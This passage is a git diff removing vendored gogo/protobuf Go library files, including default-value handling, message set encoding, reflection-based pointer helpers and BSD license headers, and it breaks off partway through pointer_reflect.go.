type isTest_Union interface { - isTest_Union() - } - - type Test_Number struct { - Number int32 `protobuf:"varint,6,opt,name=number"` - } - type Test_Name struct { - Name string `protobuf:"bytes,7,opt,name=name"` - } - - func (*Test_Number) isTest_Union() {} - func (*Test_Name) isTest_Union() {} - - func (m *Test) GetUnion() isTest_Union { - if m != nil { - return m.Union - } - return nil - } - const Default_Test_Type int32 = 77 - - func (m *Test) GetLabel() string { - if m != nil && m.Label != nil { - return *m.Label - } - return "" - } - - func (m *Test) GetType() int32 { - if m != nil && m.Type != nil { - return *m.Type - } - return Default_Test_Type - } - - func (m *Test) GetOptionalgroup() *Test_OptionalGroup { - if m != nil { - return m.Optionalgroup - } - return nil - } - - type Test_OptionalGroup struct { - RequiredField *string `protobuf:"bytes,5,req" json:"RequiredField,omitempty"` - } - func (m *Test_OptionalGroup) Reset() { *m = Test_OptionalGroup{} } - func (m *Test_OptionalGroup) String() string { return proto.CompactTextString(m) } - - func (m *Test_OptionalGroup) GetRequiredField() string { - if m != nil && m.RequiredField != nil { - return *m.RequiredField - } - return "" - } - - func (m *Test) GetNumber() int32 { - if x, ok := m.GetUnion().(*Test_Number); ok { - return x.Number - } - return 0 - } - - func (m *Test) GetName() string { - if x, ok := m.GetUnion().(*Test_Name); ok { - return x.Name - } - return "" - } - - func init() { - proto.RegisterEnum("example.FOO", FOO_name, FOO_value) - } - -To create and play with a Test object: - - package main - - import ( - "log" - - "github.com/gogo/protobuf/proto" - pb "./example.pb" - ) - - func main() { - test := &pb.Test{ - Label: proto.String("hello"), - Type: proto.Int32(17), - Reps: []int64{1, 2, 3}, - Optionalgroup: &pb.Test_OptionalGroup{ - RequiredField: proto.String("good bye"), - }, - Union: &pb.Test_Name{"fred"}, - } - data, err := proto.Marshal(test) - if err != nil { - log.Fatal("marshaling error: ", err) - } - newTest := &pb.Test{} - err = proto.Unmarshal(data, newTest) - if err != nil { - log.Fatal("unmarshaling error: ", err) - } - // Now test and newTest contain the same data. - if test.GetLabel() != newTest.GetLabel() { - log.Fatalf("data mismatch %q != %q", test.GetLabel(), newTest.GetLabel()) - } - // Use a type switch to determine which oneof was set. - switch u := test.Union.(type) { - case *pb.Test_Number: // u.Number contains the number. - case *pb.Test_Name: // u.Name contains the string. - } - // etc. - } -*/ -package proto - -import ( - "encoding/json" - "fmt" - "log" - "reflect" - "sort" - "strconv" - "sync" -) - -// RequiredNotSetError is an error type returned by either Marshal or Unmarshal. -// Marshal reports this when a required field is not initialized. -// Unmarshal reports this when a required field is missing from the wire data. -type RequiredNotSetError struct{ field string } - -func (e *RequiredNotSetError) Error() string { - if e.field == "" { - return fmt.Sprintf("proto: required field not set") - } - return fmt.Sprintf("proto: required field %q not set", e.field) -} -func (e *RequiredNotSetError) RequiredNotSet() bool { - return true -} - -type invalidUTF8Error struct{ field string } - -func (e *invalidUTF8Error) Error() string { - if e.field == "" { - return "proto: invalid UTF-8 detected" - } - return fmt.Sprintf("proto: field %q contains invalid UTF-8", e.field) -} -func (e *invalidUTF8Error) InvalidUTF8() bool { - return true -} - -// errInvalidUTF8 is a sentinel error to identify fields with invalid UTF-8. -// This error should not be exposed to the external API as such errors should -// be recreated with the field information. -var errInvalidUTF8 = &invalidUTF8Error{} - -// isNonFatal reports whether the error is either a RequiredNotSet error -// or a InvalidUTF8 error. -func isNonFatal(err error) bool { - if re, ok := err.(interface{ RequiredNotSet() bool }); ok && re.RequiredNotSet() { - return true - } - if re, ok := err.(interface{ InvalidUTF8() bool }); ok && re.InvalidUTF8() { - return true - } - return false -} - -type nonFatal struct{ E error } - -// Merge merges err into nf and reports whether it was successful. -// Otherwise it returns false for any fatal non-nil errors. -func (nf *nonFatal) Merge(err error) (ok bool) { - if err == nil { - return true // not an error - } - if !isNonFatal(err) { - return false // fatal error - } - if nf.E == nil { - nf.E = err // store first instance of non-fatal error - } - return true -} - -// Message is implemented by generated protocol buffer messages. -type Message interface { - Reset() - String() string - ProtoMessage() -} - -// A Buffer is a buffer manager for marshaling and unmarshaling -// protocol buffers. It may be reused between invocations to -// reduce memory usage. It is not necessary to use a Buffer; -// the global functions Marshal and Unmarshal create a -// temporary Buffer and are fine for most applications. -type Buffer struct { - buf []byte // encode/decode byte stream - index int // read point - - deterministic bool -} - -// NewBuffer allocates a new Buffer and initializes its internal data to -// the contents of the argument slice. -func NewBuffer(e []byte) *Buffer { - return &Buffer{buf: e} -} - -// Reset resets the Buffer, ready for marshaling a new protocol buffer. -func (p *Buffer) Reset() { - p.buf = p.buf[0:0] // for reading/writing - p.index = 0 // for reading -} - -// SetBuf replaces the internal buffer with the slice, -// ready for unmarshaling the contents of the slice. -func (p *Buffer) SetBuf(s []byte) { - p.buf = s - p.index = 0 -} - -// Bytes returns the contents of the Buffer. -func (p *Buffer) Bytes() []byte { return p.buf } - -// SetDeterministic sets whether to use deterministic serialization. -// -// Deterministic serialization guarantees that for a given binary, equal -// messages will always be serialized to the same bytes. This implies: -// -// - Repeated serialization of a message will return the same bytes. -// - Different processes of the same binary (which may be executing on -// different machines) will serialize equal messages to the same bytes. -// -// Note that the deterministic serialization is NOT canonical across -// languages. It is not guaranteed to remain stable over time. It is unstable -// across different builds with schema changes due to unknown fields. -// Users who need canonical serialization (e.g., persistent storage in a -// canonical form, fingerprinting, etc.) should define their own -// canonicalization specification and implement their own serializer rather -// than relying on this API. -// -// If deterministic serialization is requested, map entries will be sorted -// by keys in lexographical order. This is an implementation detail and -// subject to change. -func (p *Buffer) SetDeterministic(deterministic bool) { - p.deterministic = deterministic -} - -/* - * Helper routines for simplifying the creation of optional fields of basic type. - */ - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { - return &v -} - -// Int32 is a helper routine that allocates a new int32 value -// to store v and returns a pointer to it. -func Int32(v int32) *int32 { - return &v -} - -// Int is a helper routine that allocates a new int32 value -// to store v and returns a pointer to it, but unlike Int32 -// its argument value is an int. -func Int(v int) *int32 { - p := new(int32) - *p = int32(v) - return p -} - -// Int64 is a helper routine that allocates a new int64 value -// to store v and returns a pointer to it. -func Int64(v int64) *int64 { - return &v -} - -// Float32 is a helper routine that allocates a new float32 value -// to store v and returns a pointer to it. -func Float32(v float32) *float32 { - return &v -} - -// Float64 is a helper routine that allocates a new float64 value -// to store v and returns a pointer to it. -func Float64(v float64) *float64 { - return &v -} - -// Uint32 is a helper routine that allocates a new uint32 value -// to store v and returns a pointer to it. -func Uint32(v uint32) *uint32 { - return &v -} - -// Uint64 is a helper routine that allocates a new uint64 value -// to store v and returns a pointer to it. -func Uint64(v uint64) *uint64 { - return &v -} - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { - return &v -} - -// EnumName is a helper function to simplify printing protocol buffer enums -// by name. Given an enum map and a value, it returns a useful string. -func EnumName(m map[int32]string, v int32) string { - s, ok := m[v] - if ok { - return s - } - return strconv.Itoa(int(v)) -} - -// UnmarshalJSONEnum is a helper function to simplify recovering enum int values -// from their JSON-encoded representation. Given a map from the enum's symbolic -// names to its int values, and a byte buffer containing the JSON-encoded -// value, it returns an int32 that can be cast to the enum type by the caller. -// -// The function can deal with both JSON representations, numeric and symbolic. -func UnmarshalJSONEnum(m map[string]int32, data []byte, enumName string) (int32, error) { - if data[0] == '"' { - // New style: enums are strings. - var repr string - if err := json.Unmarshal(data, &repr); err != nil { - return -1, err - } - val, ok := m[repr] - if !ok { - return 0, fmt.Errorf("unrecognized enum %s value %q", enumName, repr) - } - return val, nil - } - // Old style: enums are ints. - var val int32 - if err := json.Unmarshal(data, &val); err != nil { - return 0, fmt.Errorf("cannot unmarshal %#q into enum %s", data, enumName) - } - return val, nil -} - -// DebugPrint dumps the encoded data in b in a debugging format with a header -// including the string s. Used in testing but made available for general debugging. -func (p *Buffer) DebugPrint(s string, b []byte) { - var u uint64 - - obuf := p.buf - sindex := p.index - p.buf = b - p.index = 0 - depth := 0 - - fmt.Printf("\n--- %s ---\n", s) - -out: - for { - for i := 0; i < depth; i++ { - fmt.Print(" ") - } - - index := p.index - if index == len(p.buf) { - break - } - - op, err := p.DecodeVarint() - if err != nil { - fmt.Printf("%3d: fetching op err %v\n", index, err) - break out - } - tag := op >> 3 - wire := op & 7 - - switch wire { - default: - fmt.Printf("%3d: t=%3d unknown wire=%d\n", - index, tag, wire) - break out - - case WireBytes: - var r []byte - - r, err = p.DecodeRawBytes(false) - if err != nil { - break out - } - fmt.Printf("%3d: t=%3d bytes [%d]", index, tag, len(r)) - if len(r) <= 6 { - for i := 0; i < len(r); i++ { - fmt.Printf(" %.2x", r[i]) - } - } else { - for i := 0; i < 3; i++ { - fmt.Printf(" %.2x", r[i]) - } - fmt.Printf(" ..") - for i := len(r) - 3; i < len(r); i++ { - fmt.Printf(" %.2x", r[i]) - } - } - fmt.Printf("\n") - - case WireFixed32: - u, err = p.DecodeFixed32() - if err != nil { - fmt.Printf("%3d: t=%3d fix32 err %v\n", index, tag, err) - break out - } - fmt.Printf("%3d: t=%3d fix32 %d\n", index, tag, u) - - case WireFixed64: - u, err = p.DecodeFixed64() - if err != nil { - fmt.Printf("%3d: t=%3d fix64 err %v\n", index, tag, err) - break out - } - fmt.Printf("%3d: t=%3d fix64 %d\n", index, tag, u) - - case WireVarint: - u, err = p.DecodeVarint() - if err != nil { - fmt.Printf("%3d: t=%3d varint err %v\n", index, tag, err) - break out - } - fmt.Printf("%3d: t=%3d varint %d\n", index, tag, u) - - case WireStartGroup: - fmt.Printf("%3d: t=%3d start\n", index, tag) - depth++ - - case WireEndGroup: - depth-- - fmt.Printf("%3d: t=%3d end\n", index, tag) - } - } - - if depth != 0 { - fmt.Printf("%3d: start-end not balanced %d\n", p.index, depth) - } - fmt.Printf("\n") - - p.buf = obuf - p.index = sindex -} - -// SetDefaults sets unset protocol buffer fields to their default values. -// It only modifies fields that are both unset and have defined defaults. -// It recursively sets default values in any non-nil sub-messages. -func SetDefaults(pb Message) { - setDefaults(reflect.ValueOf(pb), true, false) -} - -// v is a struct. -func setDefaults(v reflect.Value, recur, zeros bool) { - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - - defaultMu.RLock() - dm, ok := defaults[v.Type()] - defaultMu.RUnlock() - if !ok { - dm = buildDefaultMessage(v.Type()) - defaultMu.Lock() - defaults[v.Type()] = dm - defaultMu.Unlock() - } - - for _, sf := range dm.scalars { - f := v.Field(sf.index) - if !f.IsNil() { - // field already set - continue - } - dv := sf.value - if dv == nil && !zeros { - // no explicit default, and don't want to set zeros - continue - } - fptr := f.Addr().Interface() // **T - // TODO: Consider batching the allocations we do here. - switch sf.kind { - case reflect.Bool: - b := new(bool) - if dv != nil { - *b = dv.(bool) - } - *(fptr.(**bool)) = b - case reflect.Float32: - f := new(float32) - if dv != nil { - *f = dv.(float32) - } - *(fptr.(**float32)) = f - case reflect.Float64: - f := new(float64) - if dv != nil { - *f = dv.(float64) - } - *(fptr.(**float64)) = f - case reflect.Int32: - // might be an enum - if ft := f.Type(); ft != int32PtrType { - // enum - f.Set(reflect.New(ft.Elem())) - if dv != nil { - f.Elem().SetInt(int64(dv.(int32))) - } - } else { - // int32 field - i := new(int32) - if dv != nil { - *i = dv.(int32) - } - *(fptr.(**int32)) = i - } - case reflect.Int64: - i := new(int64) - if dv != nil { - *i = dv.(int64) - } - *(fptr.(**int64)) = i - case reflect.String: - s := new(string) - if dv != nil { - *s = dv.(string) - } - *(fptr.(**string)) = s - case reflect.Uint8: - // exceptional case: []byte - var b []byte - if dv != nil { - db := dv.([]byte) - b = make([]byte, len(db)) - copy(b, db) - } else { - b = []byte{} - } - *(fptr.(*[]byte)) = b - case reflect.Uint32: - u := new(uint32) - if dv != nil { - *u = dv.(uint32) - } - *(fptr.(**uint32)) = u - case reflect.Uint64: - u := new(uint64) - if dv != nil { - *u = dv.(uint64) - } - *(fptr.(**uint64)) = u - default: - log.Printf("proto: can't set default for field %v (sf.kind=%v)", f, sf.kind) - } - } - - for _, ni := range dm.nested { - f := v.Field(ni) - // f is *T or T or []*T or []T - switch f.Kind() { - case reflect.Struct: - setDefaults(f, recur, zeros) - - case reflect.Ptr: - if f.IsNil() { - continue - } - setDefaults(f, recur, zeros) - - case reflect.Slice: - for i := 0; i < f.Len(); i++ { - e := f.Index(i) - if e.Kind() == reflect.Ptr && e.IsNil() { - continue - } - setDefaults(e, recur, zeros) - } - - case reflect.Map: - for _, k := range f.MapKeys() { - e := f.MapIndex(k) - if e.IsNil() { - continue - } - setDefaults(e, recur, zeros) - } - } - } -} - -var ( - // defaults maps a protocol buffer struct type to a slice of the fields, - // with its scalar fields set to their proto-declared non-zero default values. - defaultMu sync.RWMutex - defaults = make(map[reflect.Type]defaultMessage) - - int32PtrType = reflect.TypeOf((*int32)(nil)) -) - -// defaultMessage represents information about the default values of a message. -type defaultMessage struct { - scalars []scalarField - nested []int // struct field index of nested messages -} - -type scalarField struct { - index int // struct field index - kind reflect.Kind // element type (the T in *T or []T) - value interface{} // the proto-declared default value, or nil -} - -// t is a struct type. -func buildDefaultMessage(t reflect.Type) (dm defaultMessage) { - sprop := GetProperties(t) - for _, prop := range sprop.Prop { - fi, ok := sprop.decoderTags.get(prop.Tag) - if !ok { - // XXX_unrecognized - continue - } - ft := t.Field(fi).Type - - sf, nested, err := fieldDefault(ft, prop) - switch { - case err != nil: - log.Print(err) - case nested: - dm.nested = append(dm.nested, fi) - case sf != nil: - sf.index = fi - dm.scalars = append(dm.scalars, *sf) - } - } - - return dm -} - -// fieldDefault returns the scalarField for field type ft. -// sf will be nil if the field can not have a default. -// nestedMessage will be true if this is a nested message. -// Note that sf.index is not set on return. -func fieldDefault(ft reflect.Type, prop *Properties) (sf *scalarField, nestedMessage bool, err error) { - var canHaveDefault bool - switch ft.Kind() { - case reflect.Struct: - nestedMessage = true // non-nullable - - case reflect.Ptr: - if ft.Elem().Kind() == reflect.Struct { - nestedMessage = true - } else { - canHaveDefault = true // proto2 scalar field - } - - case reflect.Slice: - switch ft.Elem().Kind() { - case reflect.Ptr, reflect.Struct: - nestedMessage = true // repeated message - case reflect.Uint8: - canHaveDefault = true // bytes field - } - - case reflect.Map: - if ft.Elem().Kind() == reflect.Ptr { - nestedMessage = true // map with message values - } - } - - if !canHaveDefault { - if nestedMessage { - return nil, true, nil - } - return nil, false, nil - } - - // We now know that ft is a pointer or slice. - sf = &scalarField{kind: ft.Elem().Kind()} - - // scalar fields without defaults - if !prop.HasDefault { - return sf, false, nil - } - - // a scalar field: either *T or []byte - switch ft.Elem().Kind() { - case reflect.Bool: - x, err := strconv.ParseBool(prop.Default) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default bool %q: %v", prop.Default, err) - } - sf.value = x - case reflect.Float32: - x, err := strconv.ParseFloat(prop.Default, 32) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default float32 %q: %v", prop.Default, err) - } - sf.value = float32(x) - case reflect.Float64: - x, err := strconv.ParseFloat(prop.Default, 64) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default float64 %q: %v", prop.Default, err) - } - sf.value = x - case reflect.Int32: - x, err := strconv.ParseInt(prop.Default, 10, 32) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default int32 %q: %v", prop.Default, err) - } - sf.value = int32(x) - case reflect.Int64: - x, err := strconv.ParseInt(prop.Default, 10, 64) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default int64 %q: %v", prop.Default, err) - } - sf.value = x - case reflect.String: - sf.value = prop.Default - case reflect.Uint8: - // []byte (not *uint8) - sf.value = []byte(prop.Default) - case reflect.Uint32: - x, err := strconv.ParseUint(prop.Default, 10, 32) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default uint32 %q: %v", prop.Default, err) - } - sf.value = uint32(x) - case reflect.Uint64: - x, err := strconv.ParseUint(prop.Default, 10, 64) - if err != nil { - return nil, false, fmt.Errorf("proto: bad default uint64 %q: %v", prop.Default, err) - } - sf.value = x - default: - return nil, false, fmt.Errorf("proto: unhandled def kind %v", ft.Elem().Kind()) - } - - return sf, false, nil -} - -// mapKeys returns a sort.Interface to be used for sorting the map keys. -// Map fields may have key types of non-float scalars, strings and enums. -func mapKeys(vs []reflect.Value) sort.Interface { - s := mapKeySorter{vs: vs} - - // Type specialization per https://developers.google.com/protocol-buffers/docs/proto#maps. - if len(vs) == 0 { - return s - } - switch vs[0].Kind() { - case reflect.Int32, reflect.Int64: - s.less = func(a, b reflect.Value) bool { return a.Int() < b.Int() } - case reflect.Uint32, reflect.Uint64: - s.less = func(a, b reflect.Value) bool { return a.Uint() < b.Uint() } - case reflect.Bool: - s.less = func(a, b reflect.Value) bool { return !a.Bool() && b.Bool() } // false < true - case reflect.String: - s.less = func(a, b reflect.Value) bool { return a.String() < b.String() } - default: - panic(fmt.Sprintf("unsupported map key type: %v", vs[0].Kind())) - } - - return s -} - -type mapKeySorter struct { - vs []reflect.Value - less func(a, b reflect.Value) bool -} - -func (s mapKeySorter) Len() int { return len(s.vs) } -func (s mapKeySorter) Swap(i, j int) { s.vs[i], s.vs[j] = s.vs[j], s.vs[i] } -func (s mapKeySorter) Less(i, j int) bool { - return s.less(s.vs[i], s.vs[j]) -} - -// isProto3Zero reports whether v is a zero proto3 value. -func isProto3Zero(v reflect.Value) bool { - switch v.Kind() { - case reflect.Bool: - return !v.Bool() - case reflect.Int32, reflect.Int64: - return v.Int() == 0 - case reflect.Uint32, reflect.Uint64: - return v.Uint() == 0 - case reflect.Float32, reflect.Float64: - return v.Float() == 0 - case reflect.String: - return v.String() == "" - } - return false -} - -const ( - // ProtoPackageIsVersion3 is referenced from generated protocol buffer files - // to assert that that code is compatible with this version of the proto package. - GoGoProtoPackageIsVersion3 = true - - // ProtoPackageIsVersion2 is referenced from generated protocol buffer files - // to assert that that code is compatible with this version of the proto package. - GoGoProtoPackageIsVersion2 = true - - // ProtoPackageIsVersion1 is referenced from generated protocol buffer files - // to assert that that code is compatible with this version of the proto package. - GoGoProtoPackageIsVersion1 = true -) - -// InternalMessageInfo is a type used internally by generated .pb.go files. -// This type is not intended to be used by non-generated code. -// This type is not subject to any compatibility guarantee. -type InternalMessageInfo struct { - marshal *marshalInfo - unmarshal *unmarshalInfo - merge *mergeInfo - discard *discardInfo -} diff --git a/vendor/github.com/gogo/protobuf/proto/lib_gogo.go b/vendor/github.com/gogo/protobuf/proto/lib_gogo.go deleted file mode 100644 index b3aa3919..00000000 --- a/vendor/github.com/gogo/protobuf/proto/lib_gogo.go +++ /dev/null @@ -1,50 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "encoding/json" - "strconv" -) - -type Sizer interface { - Size() int -} - -type ProtoSizer interface { - ProtoSize() int -} - -func MarshalJSONEnum(m map[int32]string, value int32) ([]byte, error) { - s, ok := m[value] - if !ok { - s = strconv.Itoa(int(value)) - } - return json.Marshal(s) -} diff --git a/vendor/github.com/gogo/protobuf/proto/message_set.go b/vendor/github.com/gogo/protobuf/proto/message_set.go deleted file mode 100644 index f48a7567..00000000 --- a/vendor/github.com/gogo/protobuf/proto/message_set.go +++ /dev/null @@ -1,181 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Support for message sets. - */ - -import ( - "errors" -) - -// errNoMessageTypeID occurs when a protocol buffer does not have a message type ID. -// A message type ID is required for storing a protocol buffer in a message set. -var errNoMessageTypeID = errors.New("proto does not have a message type ID") - -// The first two types (_MessageSet_Item and messageSet) -// model what the protocol compiler produces for the following protocol message: -// message MessageSet { -// repeated group Item = 1 { -// required int32 type_id = 2; -// required string message = 3; -// }; -// } -// That is the MessageSet wire format. We can't use a proto to generate these -// because that would introduce a circular dependency between it and this package. - -type _MessageSet_Item struct { - TypeId *int32 `protobuf:"varint,2,req,name=type_id"` - Message []byte `protobuf:"bytes,3,req,name=message"` -} - -type messageSet struct { - Item []*_MessageSet_Item `protobuf:"group,1,rep"` - XXX_unrecognized []byte - // TODO: caching? -} - -// Make sure messageSet is a Message. -var _ Message = (*messageSet)(nil) - -// messageTypeIder is an interface satisfied by a protocol buffer type -// that may be stored in a MessageSet. -type messageTypeIder interface { - MessageTypeId() int32 -} - -func (ms *messageSet) find(pb Message) *_MessageSet_Item { - mti, ok := pb.(messageTypeIder) - if !ok { - return nil - } - id := mti.MessageTypeId() - for _, item := range ms.Item { - if *item.TypeId == id { - return item - } - } - return nil -} - -func (ms *messageSet) Has(pb Message) bool { - return ms.find(pb) != nil -} - -func (ms *messageSet) Unmarshal(pb Message) error { - if item := ms.find(pb); item != nil { - return Unmarshal(item.Message, pb) - } - if _, ok := pb.(messageTypeIder); !ok { - return errNoMessageTypeID - } - return nil // TODO: return error instead? -} - -func (ms *messageSet) Marshal(pb Message) error { - msg, err := Marshal(pb) - if err != nil { - return err - } - if item := ms.find(pb); item != nil { - // reuse existing item - item.Message = msg - return nil - } - - mti, ok := pb.(messageTypeIder) - if !ok { - return errNoMessageTypeID - } - - mtid := mti.MessageTypeId() - ms.Item = append(ms.Item, &_MessageSet_Item{ - TypeId: &mtid, - Message: msg, - }) - return nil -} - -func (ms *messageSet) Reset() { *ms = messageSet{} } -func (ms *messageSet) String() string { return CompactTextString(ms) } -func (*messageSet) ProtoMessage() {} - -// Support for the message_set_wire_format message option. - -func skipVarint(buf []byte) []byte { - i := 0 - for ; buf[i]&0x80 != 0; i++ { - } - return buf[i+1:] -} - -// unmarshalMessageSet decodes the extension map encoded in buf in the message set wire format. -// It is called by Unmarshal methods on protocol buffer messages with the message_set_wire_format option. -func unmarshalMessageSet(buf []byte, exts interface{}) error { - var m map[int32]Extension - switch exts := exts.(type) { - case *XXX_InternalExtensions: - m = exts.extensionsWrite() - case map[int32]Extension: - m = exts - default: - return errors.New("proto: not an extension map") - } - - ms := new(messageSet) - if err := Unmarshal(buf, ms); err != nil { - return err - } - for _, item := range ms.Item { - id := *item.TypeId - msg := item.Message - - // Restore wire type and field number varint, plus length varint. - // Be careful to preserve duplicate items. - b := EncodeVarint(uint64(id)<<3 | WireBytes) - if ext, ok := m[id]; ok { - // Existing data; rip off the tag and length varint - // so we join the new data correctly. - // We can assume that ext.enc is set because we are unmarshaling. - o := ext.enc[len(b):] // skip wire type and field number - _, n := DecodeVarint(o) // calculate length of length varint - o = o[n:] // skip length varint - msg = append(o, msg...) // join old data and new data - } - b = append(b, EncodeVarint(uint64(len(msg)))...) - b = append(b, msg...) - - m[id] = Extension{enc: b} - } - return nil -} diff --git a/vendor/github.com/gogo/protobuf/proto/pointer_reflect.go b/vendor/github.com/gogo/protobuf/proto/pointer_reflect.go deleted file mode 100644 index b6cad908..00000000 --- a/vendor/github.com/gogo/protobuf/proto/pointer_reflect.go +++ /dev/null @@ -1,357 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2012 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// +build purego appengine js - -// This file contains an implementation of proto field accesses using package reflect. -// It is slower than the code in pointer_unsafe.go but it avoids package unsafe and can -// be used on App Engine. - -package proto - -import ( - "reflect" - "sync" -) - -const unsafeAllowed = false - -// A field identifies a field in a struct, accessible from a pointer. -// In this implementation, a field is identified by the sequence of field indices -// passed to reflect's FieldByIndex. -type field []int - -// toField returns a field equivalent to the given reflect field. -func toField(f *reflect.StructField) field { - return f.Index -} - -// invalidField is an invalid field identifier. -var invalidField = field(nil) - -// zeroField is a noop when calling pointer.offset. -var zeroField = field([]int{}) - -// IsValid reports whether the field identifier is valid. -func (f field) IsValid() bool { return f != nil } - -// The pointer type is for the table-driven decoder. -// The implementation here uses a reflect.Value of pointer type to -// create a generic pointer. In pointer_unsafe.go we use unsafe -// instead of reflect to implement the same (but faster) interface. -type pointer struct { - v reflect.Value -} - -// toPointer converts an interface of pointer type to a pointer -// that points to the same target. -func toPointer(i *Message) pointer { - return pointer{v: reflect.ValueOf(*i)} -} - -// toAddrPointer converts an interface to a pointer that points to -// the interface data. -func toAddrPointer(i *interface{}, isptr bool) pointer { - v := reflect.ValueOf(*i) - u := reflect.New(v.Type()) - u.Elem().Set(v) - return pointer{v: u} -} - -// valToPointer converts v to a pointer. v must be of pointer type. -func valToPointer(v reflect.Value) pointer { - return pointer{v: v} -} - -// offset converts from a pointer to a structure to a pointer to -// one of its fields. -func (p pointer) offset(f field) pointer { - return pointer{v: p.v.Elem().FieldByIndex(f).Addr()} -} - -func (p pointer) isNil() bool { - return p.v.IsNil() -} - -// grow updates the slice s in place to make it one element longer. -// s must be addressable. -// Returns the (addressable) new element. -func grow(s reflect.Value) reflect.Value { - n, m := s.Len(), s.Cap() - if n < m { - s.SetLen(n + 1) - } else { - s.Set(reflect.Append(s, reflect.Zero(s.Type().Elem()))) - } - return s.Index(n) -} - -func (p pointer) toInt64() *int64 { - return p.v.Interface().(*int64) -} -func (p pointer) toInt64Ptr() **int64 { - return p.v.Interface().(**int64) -} -func (p pointer) toInt64Slice() *[]int64 { - return p.v.Interface().(*[]int64) -} - -var int32ptr = reflect.TypeOf((*int32)(nil)) - -func (p pointer) toInt32() *int32 { - return p.v.Convert(int32ptr).Interface().(*int32) -} - -// The toInt32Ptr/Slice methods don't work because of enums. -// Instead, we must use set/get methods for the int32ptr/slice case. -/* - func (p pointer) toInt32Ptr() 